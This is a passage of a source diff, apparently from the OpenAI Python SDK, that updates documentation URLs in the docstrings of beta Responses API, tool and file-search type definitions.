+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
"""
@@ -587,8 +589,8 @@ class ResponseCreate(BaseModel):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
tool_choice: Optional[ResponseCreateToolChoice] = None
@@ -607,17 +609,18 @@ class ResponseCreate(BaseModel):
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
"""
@@ -653,7 +656,7 @@ class ResponseCreate(BaseModel):
Use `prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index 576ca59bb8..48c47d4b5b 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -107,7 +107,7 @@ class ResponseCreateMultiAgent(TypedDict, total=False):
class ResponseCreatePromptCacheOptions(TypedDict, total=False):
"""Options for prompt caching.
- Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
+ Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
"""
comparison_response_id: Optional[str]
@@ -138,7 +138,7 @@ class ResponseCreatePromptCacheOptions(TypedDict, total=False):
class ResponseCreateReasoning(TypedDict, total=False):
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
context: Optional[Literal["auto", "current_turn", "all_turns"]]
@@ -158,7 +158,7 @@ class ResponseCreateReasoning(TypedDict, total=False):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
@@ -238,7 +238,7 @@ class ResponseCreate(TypedDict, total=False):
background: Optional[bool]
"""
Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
"""
context_management: Optional[Iterable[ResponseCreateContextManagement]]
@@ -279,11 +279,11 @@ class ResponseCreate(TypedDict, total=False):
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
"""
instructions: Optional[str]
@@ -298,7 +298,7 @@ class ResponseCreate(TypedDict, total=False):
"""
An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
"""
max_tool_calls: Optional[int]
@@ -431,8 +431,8 @@ class ResponseCreate(TypedDict, total=False):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
moderation: Optional[ResponseCreateModeration]
@@ -448,21 +448,21 @@ class ResponseCreate(TypedDict, total=False):
"""The unique ID of the previous response to the model.
Use this to create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
"""
prompt: Optional[BetaResponsePromptParam]
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
prompt_cache_key: Optional[str]
"""
Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
"""
prompt_cache_options: ResponseCreatePromptCacheOptions
@@ -475,7 +475,7 @@ class ResponseCreate(TypedDict, total=False):
breakpoints in the conversation, without a content-block lookback limit. Set
`mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to
`30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
"""
@@ -485,7 +485,7 @@ class ResponseCreate(TypedDict, total=False):
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -502,7 +502,7 @@ class ResponseCreate(TypedDict, total=False):
reasoning: Optional[ResponseCreateReasoning]
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
safety_identifier: Optional[str]
@@ -512,7 +512,7 @@ class ResponseCreate(TypedDict, total=False):
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
service_tier: Optional[BetaServiceTier]
@@ -523,13 +523,15 @@ class ResponseCreate(TypedDict, total=False):
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -547,7 +549,7 @@ class ResponseCreate(TypedDict, total=False):
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
"""
stream: Optional[bool]
@@ -556,7 +558,7 @@ class ResponseCreate(TypedDict, total=False):
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
"""
@@ -586,8 +588,8 @@ class ResponseCreate(TypedDict, total=False):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
tool_choice: ResponseCreateToolChoice
@@ -606,17 +608,18 @@ class ResponseCreate(TypedDict, total=False):
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
"""
@@ -652,7 +655,7 @@ class ResponseCreate(TypedDict, total=False):
Use `prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
diff --git a/src/openai/types/beta/beta_tool.py b/src/openai/types/beta/beta_tool.py
index 68f79d83a1..6bf6807f7b 100644
--- a/src/openai/types/beta/beta_tool.py
+++ b/src/openai/types/beta/beta_tool.py
@@ -108,7 +108,7 @@ class McpRequireApprovalMcpToolApprovalFilter(BaseModel):
class Mcp(BaseModel):
"""
Give the model access to additional tools via remote Model Context Protocol
- (MCP) servers. [Learn more about MCP](https://platform.openai.com/docs/guides/tools-remote-mcp).
+ (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
"""
server_label: str
@@ -146,7 +146,7 @@ class Mcp(BaseModel):
One of `server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
about service connectors
- [here](https://platform.openai.com/docs/guides/tools-remote-mcp#connectors).
+ [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
Currently supported `connector_id` values are:
diff --git a/src/openai/types/beta/beta_tool_choice_types.py b/src/openai/types/beta/beta_tool_choice_types.py
index f427782b16..82d9d17203 100644
--- a/src/openai/types/beta/beta_tool_choice_types.py
+++ b/src/openai/types/beta/beta_tool_choice_types.py
@@ -10,7 +10,7 @@
class BetaToolChoiceTypes(BaseModel):
"""
Indicates that the model should use a built-in tool to generate a response.
- [Learn more about built-in tools](https://platform.openai.com/docs/guides/tools).
+ [Learn more about built-in tools](https://developers.openai.com/api/docs/guides/tools).
"""
type: Literal[
@@ -26,7 +26,7 @@ class BetaToolChoiceTypes(BaseModel):
"""The type of hosted tool the model should to use.
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
Allowed values are:
diff --git a/src/openai/types/beta/beta_tool_choice_types_param.py b/src/openai/types/beta/beta_tool_choice_types_param.py
index 4b14b55cb0..e0eeff4948 100644
--- a/src/openai/types/beta/beta_tool_choice_types_param.py
+++ b/src/openai/types/beta/beta_tool_choice_types_param.py
@@ -10,7 +10,7 @@
class BetaToolChoiceTypesParam(TypedDict, total=False):
"""
Indicates that the model should use a built-in tool to generate a response.
- [Learn more about built-in tools](https://platform.openai.com/docs/guides/tools).
+ [Learn more about built-in tools](https://developers.openai.com/api/docs/guides/tools).
"""
type: Required[
@@ -28,7 +28,7 @@ class BetaToolChoiceTypesParam(TypedDict, total=False):
"""The type of hosted tool the model should to use.
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
Allowed values are:
diff --git a/src/openai/types/beta/beta_tool_param.py b/src/openai/types/beta/beta_tool_param.py
index 9590d1aa92..0ea63e62ed 100644
--- a/src/openai/types/beta/beta_tool_param.py
+++ b/src/openai/types/beta/beta_tool_param.py
@@ -109,7 +109,7 @@ class McpRequireApprovalMcpToolApprovalFilter(TypedDict, total=False):
class Mcp(TypedDict, total=False):
"""
Give the model access to additional tools via remote Model Context Protocol
- (MCP) servers. [Learn more about MCP](https://platform.openai.com/docs/guides/tools-remote-mcp).
+ (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
"""
server_label: Required[str]
@@ -145,7 +145,7 @@ class Mcp(TypedDict, total=False):
One of `server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
about service connectors
- [here](https://platform.openai.com/docs/guides/tools-remote-mcp#connectors).
+ [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
Currently supported `connector_id` values are:
diff --git a/src/openai/types/beta/beta_web_search_preview_tool.py b/src/openai/types/beta/beta_web_search_preview_tool.py
index 51e384045c..968e480885 100644
--- a/src/openai/types/beta/beta_web_search_preview_tool.py
+++ b/src/openai/types/beta/beta_web_search_preview_tool.py
@@ -36,7 +36,7 @@ class UserLocation(BaseModel):
class BetaWebSearchPreviewTool(BaseModel):
"""This tool searches the web for relevant results to use in a response.
- Learn more about the [web search tool](https://platform.openai.com/docs/guides/tools-web-search).
+ Learn more about the [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
"""
type: Literal["web_search_preview", "web_search_preview_2025_03_11"]
diff --git a/src/openai/types/beta/beta_web_search_preview_tool_param.py b/src/openai/types/beta/beta_web_search_preview_tool_param.py
index 085befa3d6..40b245d566 100644
--- a/src/openai/types/beta/beta_web_search_preview_tool_param.py
+++ b/src/openai/types/beta/beta_web_search_preview_tool_param.py
@@ -36,7 +36,7 @@ class UserLocation(TypedDict, total=False):
class BetaWebSearchPreviewToolParam(TypedDict, total=False):
"""This tool searches the web for relevant results to use in a response.
- Learn more about the [web search tool](https://platform.openai.com/docs/guides/tools-web-search).
+ Learn more about the [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
"""
type: Required[Literal["web_search_preview", "web_search_preview_2025_03_11"]]
diff --git a/src/openai/types/beta/beta_web_search_tool.py b/src/openai/types/beta/beta_web_search_tool.py
index 25e1ce761f..bdf61e6d90 100644
--- a/src/openai/types/beta/beta_web_search_tool.py
+++ b/src/openai/types/beta/beta_web_search_tool.py
@@ -50,7 +50,7 @@ class BetaWebSearchTool(BaseModel):
"""Search the Internet for sources related to the prompt.
Learn more about the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
"""
type: Literal["web_search", "web_search_2025_08_26"]
diff --git a/src/openai/types/beta/beta_web_search_tool_param.py b/src/openai/types/beta/beta_web_search_tool_param.py
index 852fce6754..e3a3ae5621 100644
--- a/src/openai/types/beta/beta_web_search_tool_param.py
+++ b/src/openai/types/beta/beta_web_search_tool_param.py
@@ -52,7 +52,7 @@ class BetaWebSearchToolParam(TypedDict, total=False):
"""Search the Internet for sources related to the prompt.
Learn more about the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
"""
type: Required[Literal["web_search", "web_search_2025_08_26"]]
diff --git a/src/openai/types/beta/file_search_tool.py b/src/openai/types/beta/file_search_tool.py
index 24ddeeeb32..c431b75258 100644
--- a/src/openai/types/beta/file_search_tool.py
+++ b/src/openai/types/beta/file_search_tool.py
@@ -13,7 +13,7 @@ class FileSearchRankingOptions(BaseModel):
If not specified, the file search tool will use the `auto` ranker and a score_threshold of 0.
- See the [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings) for more information.
+ See the [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization) for more information.
"""
score_threshold: float
@@ -40,7 +40,7 @@ class FileSearch(BaseModel):
Note that the file search tool may output fewer than `max_num_results` results.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
"""
@@ -51,7 +51,7 @@ class FileSearch(BaseModel):
score_threshold of 0.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
"""
diff --git a/src/openai/types/beta/file_search_tool_param.py b/src/openai/types/beta/file_search_tool_param.py
index 6aaa7eb5a8..f74c004195 100644
--- a/src/openai/types/beta/file_search_tool_param.py
+++ b/src/openai/types/beta/file_search_tool_param.py
@@ -12,7 +12,7 @@ class FileSearchRankingOptions(TypedDict, total=False):
If not specified, the file search tool will use the `auto` ranker and a score_threshold of 0.
- See the [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings) for more information.
+ See the [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization) for more information.
"""
score_threshold: Required[float]
@@ -39,7 +39,7 @@ class FileSearch(TypedDict, total=False):
Note that the file search tool may output fewer than `max_num_results` results.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
"""
@@ -50,7 +50,7 @@ class FileSearch(TypedDict, total=False):
score_threshold of 0.
See the
- [file search tool documentation](https://platform.openai.com/docs/assistants/tools/file-search#customizing-file-search-settings)
+ [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization)
for more information.
"""
diff --git a/src/openai/types/beta/response_compact_params.py b/src/openai/types/beta/response_compact_params.py
index e57bfce737..50ec8e5de4 100644
--- a/src/openai/types/beta/response_compact_params.py
+++ b/src/openai/types/beta/response_compact_params.py
@@ -127,8 +127,8 @@ class ResponseCompactParams(TypedDict, total=False):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
input: Union[str, Iterable[BetaResponseInputItemParam], None]
@@ -146,7 +146,7 @@ class ResponseCompactParams(TypedDict, total=False):
"""The unique ID of the previous response to the model.
Use this to create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
"""
@@ -163,7 +163,7 @@ class ResponseCompactParams(TypedDict, total=False):
breakpoints in the conversation, without a content-block lookback limit. Set
`mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to
`30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
"""
@@ -177,11 +177,12 @@ class ResponseCompactParams(TypedDict, total=False):
configured in the Project settings. Unless otherwise configured, the Project
will use 'default'. - If set to 'default', then the request will be processed
with the standard pricing and performance for the selected model. - If set to
- '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the
- request will be processed with the Flex Processing service tier. - To opt-in
- to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the
- `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat
- Completions. For models with a dedicated Fast tier, either value resolves to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier. - To
+ opt-in to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode)
+ at the request level, include the `service_tier=fast` or
+ `service_tier=priority` parameter for Responses or Chat Completions. For
+ models with a dedicated Fast tier, either value resolves to
`service_tier=fast`; for other models, either value resolves to
`service_tier=priority`. - When not set, the default behavior is 'auto'. When
the `service_tier` parameter is set, the response body will include the
@@ -196,7 +197,7 @@ class ResponseCompactParams(TypedDict, total=False):
class PromptCacheOptions(TypedDict, total=False):
"""Options for prompt caching.
- Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
+ Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
"""
mode: Literal["implicit", "explicit"]
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index cddb7cd966..d7cbc258b7 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -45,7 +45,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
background: Optional[bool]
"""
Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
"""
context_management: Optional[Iterable[ContextManagement]]
@@ -86,11 +86,11 @@ class ResponseCreateParamsBase(TypedDict, total=False):
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
"""
instructions: Optional[str]
@@ -105,7 +105,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"""
An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
"""
max_tool_calls: Optional[int]
@@ -238,8 +238,8 @@ class ResponseCreateParamsBase(TypedDict, total=False):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
moderation: Optional[Moderation]
@@ -255,21 +255,21 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"""The unique ID of the previous response to the model.
Use this to create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
"""
prompt: Optional[BetaResponsePromptParam]
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
prompt_cache_key: Optional[str]
"""
Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
"""
prompt_cache_options: PromptCacheOptions
@@ -282,7 +282,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
breakpoints in the conversation, without a content-block lookback limit. Set
`mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to
`30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
"""
@@ -292,7 +292,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -309,7 +309,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
reasoning: Optional[Reasoning]
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
safety_identifier: Optional[str]
@@ -319,7 +319,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
service_tier: Optional[BetaServiceTier]
@@ -330,13 +330,15 @@ class ResponseCreateParamsBase(TypedDict, total=False):
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -354,7 +356,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
"""
stream_options: Optional[StreamOptions]
@@ -373,8 +375,8 @@ class ResponseCreateParamsBase(TypedDict, total=False):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
tool_choice: ToolChoice
@@ -393,17 +395,18 @@ class ResponseCreateParamsBase(TypedDict, total=False):
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
